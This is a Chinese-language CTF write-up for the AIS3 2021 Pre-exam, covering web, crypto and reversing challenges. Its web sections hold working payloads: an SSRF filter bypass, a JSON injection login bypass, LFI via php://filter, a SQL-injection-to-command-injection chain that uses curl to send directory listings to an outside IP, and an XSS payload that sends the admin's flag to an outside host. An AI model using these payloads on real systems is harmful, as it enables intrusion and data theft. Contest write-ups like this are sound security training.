--- tags: AIS3 author: 王博靚 LikerID: ching367436 --- # AIS3 Pre-exam MyFirstCTF 2021 Write Up ## HAAS ![](https://i.imgur.com/iT5eaBr.png) > 當天的前天剛好正發現某個網站的 SSRF > -Hyp 試著讓伺服器對自己送出請求 使用`127.0.0.1` 發現會過濾 直接上 loopback.chi36.ml loopback.chi36.ml -> 127.0.0.1 AIS3{V3rY_v3rY_V3ry_345Y_55rF} ![](https://i.imgur.com/g2mwN27.png) ## ⲩⲉⲧ ⲁⲛⲟⲧⲏⲉꞅ 𝓵ⲟ𝓰ⲓⲛ ⲣⲁ𝓰ⲉ ![](https://i.imgur.com/C8TLVxa.png) 看到 Source Code 登入部分 ```python @app.route("/login", methods=['POST']) def login(): data = '{"showflag": false, "username": "%s", "password": "%s"}' % ( request.form["username"], request.form['password'] ) session['user_data'] = data return redirect("/") ``` 看起來可以幫忙結束雙引號 蓋過前面的直 然後可以 接著來看 flag 的部分 ```python= @app.route("/") def index(): def valid_user(user): return users_db.get(user['username']) == user['password'] if 'user_data' not in session: return render_template("login.html", message="Login Please :D") user = json.loads(session['user_data']) if valid_user(user): if user['showflag'] == True and user['username'] != 'guest': return FLAG else: return render_template("welcome.html", username=user['username']) return render_template("login.html", message="Verify Failed :(") ``` :4  的`users_db.get(user['username'])` 如果 username 不存的話會是 `None` `user['password']`也是 `None` 的話就可以通過驗證 JSON 的 null 會解析成 `None` 所以 ``` username = guest password = ", "showflag": true, "username": "hyp", "password": null, "h": "h ``` ![](https://i.imgur.com/HgbEdCL.png) ## Cat Slayer ᶠᵃᵏᵉ | Nekogoroshi `I believe what you said` BGM: https://youtu.be/9-NusuQ8JaA Tutorial Video: https://youtu.be/2b3Oqo13-r0?t=1296 :::danger :warning: Tutorial Video 可能不適合某些人觀看 ::: 題目要你輸入密碼 打入以下數字即可拿到 flag ``` 2025830455293 ``` AIS3{H1n4m1z4w4_Sh0k0gun} ![](https://i.imgur.com/CtiFObR.png) ![](https://i.imgur.com/6mNiOwg.png) ## 【5/22 重要公告】 看 有 LFI Style 的 api ![](https://i.imgur.com/6GL5wEm.png) 直接上 `php://filter` ``` http://quiz.ais3.org:8001/?module=php://filter/ convert.base64-encode/ resource=./modules/api ``` ```php <?php header('Content-Type: application/json'); include "config.php"; $db = new SQLite3(SQLITE_DB_PATH); if (isset($_GET['id'])) { $data = $db- ``` 試試 `php://filter/read` ``` http://quiz.ais3.org:8001/?module=php://filter/read=string.rot13/resource=modules/api ``` ```php querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); $host = str_replace(' ', '', $data['host']); $port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; echo json_encode($data); } else { $json_resp = []; $query_res = $db->query("SELECT * FROM challenges"); while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row; echo json_encode($json_resp); } ``` pretty print 後 ```php= <?php header('Content-Type: application/json'); include "config.php"; $db = new SQLite3('SQLITE_DB_PATH'); if (isset($_GET['id'])) { $data = $db->querySingle("SELECT name, host, port FROM challenges WHERE id=${_GET['id']}", true); $host = str_replace(' ', '', $data['host']); $port = (int) $data['port']; $data['alive'] = strstr(shell_exec("timeout 1 nc -vz '$host' $port 2>&1"), "succeeded") !== FALSE; echo json_encode($data); } else { $json_resp = []; $query_res = $db->query("SELECT * FROM challenges"); while ($row = $query_res->fetchArray(SQLITE3_ASSOC)) $json_resp[] = $row; echo json_encode($json_resp); } ``` :8 可以 SQLi :11 有 `shell_exec` 所以由 SQLi 控制 `$host` 來使用 `shell_exec` 不過 :9 會鍋爐空格 所以改用 `<Tab>` ``` http://quiz.ais3.org:8001/?module=modules/api&&id=1 and 1=2 UNION SELECT (SELECT 234), " h.chi36.ml'%0980%09;curl%093.85.129.0/$(ls|base64)' ", '80' ``` ``` challenges.db config.php index.php modules ``` ```shell ls / ``` ``` bin boot dev etc flag_81c015863174cd0c14034cc60767c7f5 ho ``` ```shell cat /flag_81c015863174cd0c14034cc60767c7f5 ``` ``` AIS3{o1d_skew1_w3b_tr1cks_co11ect10n_:D} ``` ## questionnaire AIS3{youweregreat} ![](https://i.imgur.com/Zye3TKq.png) ## Judgement 題目加密方式 ```python for c in flag: assert(c in cand) enc += charset[int(sha256(c.encode()).hexdigest(), 16) % len(charset)] ``` ``` output: )g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330 ``` 以題意 算出可能性 ```python o = ')g;Fk@>2g;2V2J?d5G3_8V2<dR2i5GZ@<?2)g\j_2V&?2;@[F@ek2_3"=k&;2)\F2J9LL4g[W2"[2<)RZ23@<?2elFZ?2=@jZ23@=F2Yi52;lL5Vj2J?2J8\e@eW23e2lF330' res = "" for ch in o: local_res = "" for guess in charset: out = charset[int(sha256(guess.encode()).hexdigest(), 16) % len(charset)] if out == ch: local_res += guess res += " " + local_res ``` ``` 8A I S 3vG' 9xE{ i TX _ I S _ 4LM _ B( e a uZ 2t 1 5qFH U-= 4LM _ cdK a y _ 0 uZ 2t s i cdK e _ 8A I r D| 5qFH _ 4LM R e _ S i N 3vG' i 7n 9xE{ _ 5qFH 1 o kwQ 9xE{ R S _ 8A r 3vG' _ B( l O" O" m@ I N 6 _ o N _ cdK 8A y s _ 1 i cdK e _ 7n h 3vG' s e _ kwQ i D| s _ 1 i kwQ 3vG' _ Y) 0 uZ _ S h O" uZ 4LM D| _ B( e _ B( U-= r 7n i 7n 6 _ 1 7n _ h 3vG' 1 1 ,} ``` AIS3{iT_IS_4_Beaut1FUL_day_0utside_8IrD5_4Re_SiNGin9_F1owERS_Ar3_BlOOmIN6_oN_dAys_1iKe_7h3se_kiDs_1ik3_Y0u_ShOuLD_Be_BUrnin6_1n_h311} https://zh.moegirl.org.cn/zh-tw/Megalovania ## Microchip AIS3{w31c0me_t0_AIS3_cryptoO0O0o0Ooo0} 題目 :::spoiler ```cpp= #include "python.h" def track(name, id) -> str ꞉ { if len(name) % 4 == 0 ꞉ ){ padded = name + "4444" ;} elif len(name) % 4 == 1 ꞉ ){ padded = name + "333" ;} elif len(name) % 4 == 2 ꞉ ){ padded = name + "22" ;} elif len(name) % 4 == 3 ꞉ ){ padded = name + "1" ;} keys = list() ; temp = id ; for i in range(4) ꞉ ){ keys.append(temp % 96) ; temp = int(temp / 96) ;} result = "" ; for i in range(0, len(padded), 4) ꞉ ){ nums = list() ; for j in range(4) ꞉ ){ num = ord(padded[i + j]) - 32 ; num = (num + keys[j]) % 96 ; nums.append(num + 32) ;} result += chr(nums[3]) ; result += chr(nums[2]) ; result += chr(nums[1]) ; result += chr(nums[0]) ;} return result ;} def main() -> int ꞉ { name = open("flag.txt", "r").read().strip() ; id = int(input("key = ")) ; print("result is:", track(name, id)) ; return 0 ;} ``` ::: --- 以題意解 :::spoiler ```python= # m + k = c # k = c - m # m = c - k def decrypt (cypher, key): res = "" for i in range(0, len(cypher), 4): for j in range(len(key))[::-1]: c = cypher[i+j] - 32 k = key[j] num = (c-k) % 96 num += 32 res += chr(num) print(res) return res def main (): input = '''=Js&;*A`odZHi'>D=Js&#i-DYf>Uy'yuyfyu<)Gu''' cypher = [] key = [] for ch in input: cypher.append(ord(ch)%96) # 已知 開頭 begin = "AIS3"[::-1] print(input) print(len(input)) for i in range(4): m = ord(begin[i]) c = cypher[i] k = (c - m + 96) % 96 key.append(k) res = decrypt(cypher, key) print(res) print(len(res)) if __name__ == '__main__': main() ``` ::: ## ReSident evil villAge 題目 :::spoiler ```python= import socketserver from Crypto.PublicKey import RSA from Crypto.Util.number import * from binascii import unhexlify class Task(socketserver.BaseRequestHandler): def recv(self): return self.request.recv(1024).strip() def send(self, msg): self.request.sendall(msg + b'\n') def handle(self): privkey = RSA.generate(1024) n = privkey.n e = privkey.e self.send(b'Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag.') self.send(b'n = ' + str(n).encode()) self.send(b'e = ' + str(e).encode()) while True: self.request.sendall(b'1) sign\n2) verify\n3) exit\n') option = self.recv() if option == b'1': self.request.sendall(b'Name (in hex): ') msg = unhexlify(self.recv()) if msg == b'Ethan Winters' or bytes_to_long(msg) >= n: # msg+k*n not allowed self.send(b'Nice try!') else: sig = pow(bytes_to_long(msg), privkey.d, n) # TODO: Apply hashing first to prevent forgery self.send(b'Signature: ' + str(sig).encode()) elif option == b'2': self.request.sendall(b'Signature: ') sig = int(self.recv()) verified = (pow(sig, e, n) == bytes_to_long(b'Ethan Winters')) if verified: self.send(b'AIS3{THIS_IS_A_FAKE_FLAG}') else: self.send(b'Well done!') else: break class ForkingServer(socketserver.ForkingTCPServer, socketserver.TCPServer): pass if __name__ == "__main__": HOST, PORT = '0.0.0.0', 42069 print(HOST, PORT) server = ForkingServer((HOST, PORT), Task) server.allow_reuse_address = True server.serve_forever() ``` ::: 指數運算提 解 ### Srep 2 factorize `Ethan Winters` = a*b dec: $a = 33759323085949548325642458097$ $b = 163$ hex: a = 0x6d150ebb92427fdc8e1053f1 b = 0xa3 ### Strp 3 get $c_1=a^d$, $c_2=b^d$ ### Step 4 get `Ethan Winters`^d = $c_1 \times c_2$ $in$ $Z_n$ AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9} :::spoiler ``` ch@CHSMP a % nc quiz.ais3.org 42069 Welcome to ReSident evil villAge, sign the name "Ethan Winters" to get the flag. n = 154308686914944431184722978303987993607296052541026719427196273541332642000259916005712946802768443349399637684771983111898013974711822855658285431528125904361648682121420911363018223268980617008316682048191188769999251832968635692729215347973075143803853614934582760111987291129960324916550583749724239322723 e = 65537 1) sign 2) verify 3) exit 1 Name (in hex): 6d150ebb92427fdc8e1053f1 Signature: 152696502197165537709876489519424462821039629054065697317918669710344915327324906556301089567051410118196914432287004745241094035518923588323132893715590910319077376616000123331642575757754691624065540965316285895835796315307143918925664756813096204703208996755949243216652724045815717194948769514038388449318 1) sign 2) verify 3) exit 1 Name (in hex): a3 Signature: 87799616000515234657749466045313092409904814284899676843666270078115468043445146946492428343569555692993883937719889614376519097547442830071318924152068557024685955465788961893471673585342147281862676760278133472342448633503565125744704186912119646643611317843550974343194235415342375156786206277939095735158 1) sign 2) verify 3) exit 2 Signature: 13406694257532965029409772363062512736898126727322601914935464325300801281686536004624493562409871135401080459811700289080310387452901606949985268174119348826577610846200427015504113092632954234288903432535707769253854158662816219876694869579297199545672265023296808689693999133197495937716789506447198952041310918916971326391027797591795906027695057598640198811211106119116823094432350735026618042211381881631214641196732105382895723687483194271857174740176342469483878656855782993977780012437599835599267465097674126214687272907479625220756652123136236543637376648532222928549595930638505272359486771331862833722244 AIS3{R3M383R_70_HAsh_7h3_M3Ssa93_83F0r3_S19N1N9} 1) sign 2) verify 3) exit ch@CHSMP a % ``` ::: ## Microcheese 這題玩家可以跳過不下( server.py:20 :::spoiler ``` +---+-------------- stones info ------------------+ | 0 | o | | 1 | oooooooo | +--------------------- moved ---------------------+ | i removed 7 stones from pile 1 | +---+-------------- stones info ------------------+ | 0 | o | | 1 | o | +---+--------------- game menu -------------------+ | 0 | make a move | | 1 | save the current game and leave | | 2 | resign the game | +---+---------------------------------------------+ it's your turn to move! what do you choose? e +--------------------- moved ---------------------+ | you removed 7 stones from pile 1 | +---+-------------- stones info ------------------+ | 0 | o | | 1 | o | +--------------------- moved ---------------------+ | i removed 1 stones from pile 0 | +---+-------------- stones info ------------------+ | 0 | o | +---+--------------- game menu -------------------+ | 0 | make a move | | 1 | save the current game and leave | | 2 | resign the game | +---+---------------------------------------------+ it's your turn to move! what do you choose? 0 which pile do you choose? 0 how many stones do you remove? 1 +---------------- congratulations ----------------+ | you are a true grandmaster of chess! here is | | the flag for you: | | AIS3{5._e3_b5_6._a4_Bb4_7._Bd2_a5_8._axb5_Bxc3} | +-------------------------------------------------+ ``` ::: ## XSSME 由 http://quiz.ais3.org:8003/logout 發現 http://quiz.ais3.org:8003/?message=Logout%20success! 的 message 可以 XSS 限制為 長度 55 以及 CSP 'self' 'unsafe-inline' https://splitline.github.io/domain-obfuscator/ 這個網站可以縮短網址長度 ``` http://quiz.ais3.org:8003/?message=</script><script>location=`//ⓒHi㊱.㎖/x.html`// ``` ``` ::ffff:10.153.11.126 - - [25/May/2021 15:03:20] "GET /x.html HTTP/1.1" 200 - ``` ```http GET / HTTP/1.1 Host: chi36.ml Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xss-me/ Accept-Encoding: gzip, deflate Accept-Language: en-US ``` 確定可以XSS 接著是字數的限制 用 `location.hash`來突破 payload ``` http://quiz.ais3.org:8003/?message=</script><script>location=location.hash.slice(1)//#javascript:fetch('getflag').then(e=>e.text()).then(t=>location=`//10.153.2.190/`+t) ``` ```http GET /AIS3%7BXSS_K!NG%7D HTTP/1.1 Host: 10.153.2.190 Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xss-me/ Accept-Encoding: gzip, deflate Accept-Language: en-US ``` ![](https://i.imgur.com/Ewklw4s.png) 這題也可以 CSRF 所以可以讓 admin 對自己發送請求 以行程一個無限迴圈 ## [震撼彈] AIS3 官網疑遭駭! ![](https://i.imgur.com/Svz08tX.png) pcap 中有一個很像shell 的 ```http GET /Index.php?page=%3DogLgMHb HTTP/1.1 Host: magic.ais3.org:8100 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0, no-cache Pragma: no-cache ``` ``` Index.php index.php ``` page 後面的很像 base64 的 `ls .` reverse 後的 直接訪問 ip 只會看到 nginx ``` http://10.153.11.126:8100/ ``` ![](https://i.imgur.com/gSw6iAO.png) 從 `/private/etc/hosts` 用好 DNS 後訪問 ``` http://magic.ais3.org:8100/Index.php?page=%3DogLgMHb ``` ![](https://i.imgur.com/btUqNAt.png) 真的是 shell ``` ls / ``` ![](https://i.imgur.com/QJrHZYk.png) ``` cat /flag_c603222fc7a23ee4ae2d59c8eb2ba84d ``` ![](https://i.imgur.com/1CiDyQN.png) ## Republic of South Africa [245 pts] <style> .likecoin-button { position: relative; width: 100%; max-width: 485px; max-height: 240px; margin: 0 auto; } .likecoin-button > div { padding-top: 49.48454%; } .likecoin-button > iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; } </style> <div class="likecoin-embed likecoin-button"> <div></div> <iframe scrolling="no" frameborder="0" src="https://button.like.co/in/embed/ching367436/button?referrer=https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up&type=hackMD"></iframe> </div> --- 原文網址 https://hackmd.io/@Ching367436/AIS3_2021_Pre-exam_MyFirstCTF_Write_Up